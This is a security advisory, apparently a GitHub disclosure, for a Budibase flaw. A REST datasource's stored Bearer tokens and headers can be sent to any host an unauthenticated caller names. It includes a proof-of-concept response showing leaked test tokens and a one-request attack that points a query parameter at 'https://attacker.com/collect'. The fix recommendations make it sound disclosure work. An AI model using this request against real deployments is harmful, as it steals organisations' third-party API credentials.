Summary

Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied {{ parameter }}), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (--secret-value--) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated).

Root Cause

packages/server/src/integrations/rest.ts: _req() builds authHeaders = getAuthHeaders(...) from the stored auth configs and merges them with config.defaultHeaders into every request, before the URL is resolved. getUrl(): if the (parameter-enriched) query path starts with http, the datasource base URL is ignored and path becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route POST /api/v2/queries/:queryId runs under authorized(QUERY, WRITE); a query published at role PUBLIC is executable with no session.

Actual output of Line 4 (the leaked credential)

The anonymous request returns HTTP 200; the outbound headers echoed by postman-echo.com contain the datasource's stored, otherwise-masked credentials:

{"data":[{"headers":{"host":"postman-echo.com","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150"}}]}

authorization: Bearer UNAUTH_LEAK_TOKEN_5150 and x-static-secret: STATIC_HDR_LEAK_4242 were delivered to a host chosen by a fully anonymous caller. Confirmed 3/3 separate runs.

Full Real-World Attack

1. A builder has a REST datasource with stored auth (Bearer/API key) and a query
   whose path uses a parameter, published at PUBLIC (customer-facing app).
2. The attacker needs no account. They read the published app id + query id from
   the published app, then send ONE request:
     POST /api/v2/queries/<queryId>
     x-budibase-app-id: <prodAppId>
     {"parameters":{"t":"https://attacker.com/collect"}}
3. Budibase attaches Authorization: Bearer <token> and sends it to attacker.com.
4. attacker.com logs the header => the datasource's secret token.
5. The attacker calls the third-party API directly as the victim organisation.

Impact

Recommended Fix

1. Before attaching stored auth, require the resolved request host to equal the datasource base host (strict same-origin check); strip stored credentials on any cross-origin resolution.
2. Reject absolute-URL query paths and host/scheme changes introduced via path parameter bindings.
3. Re-audit the GHSA-3gp5 fix - it closed the base-URL rewrite vector only; the query-path vector remained and is now reachable unauthenticated.
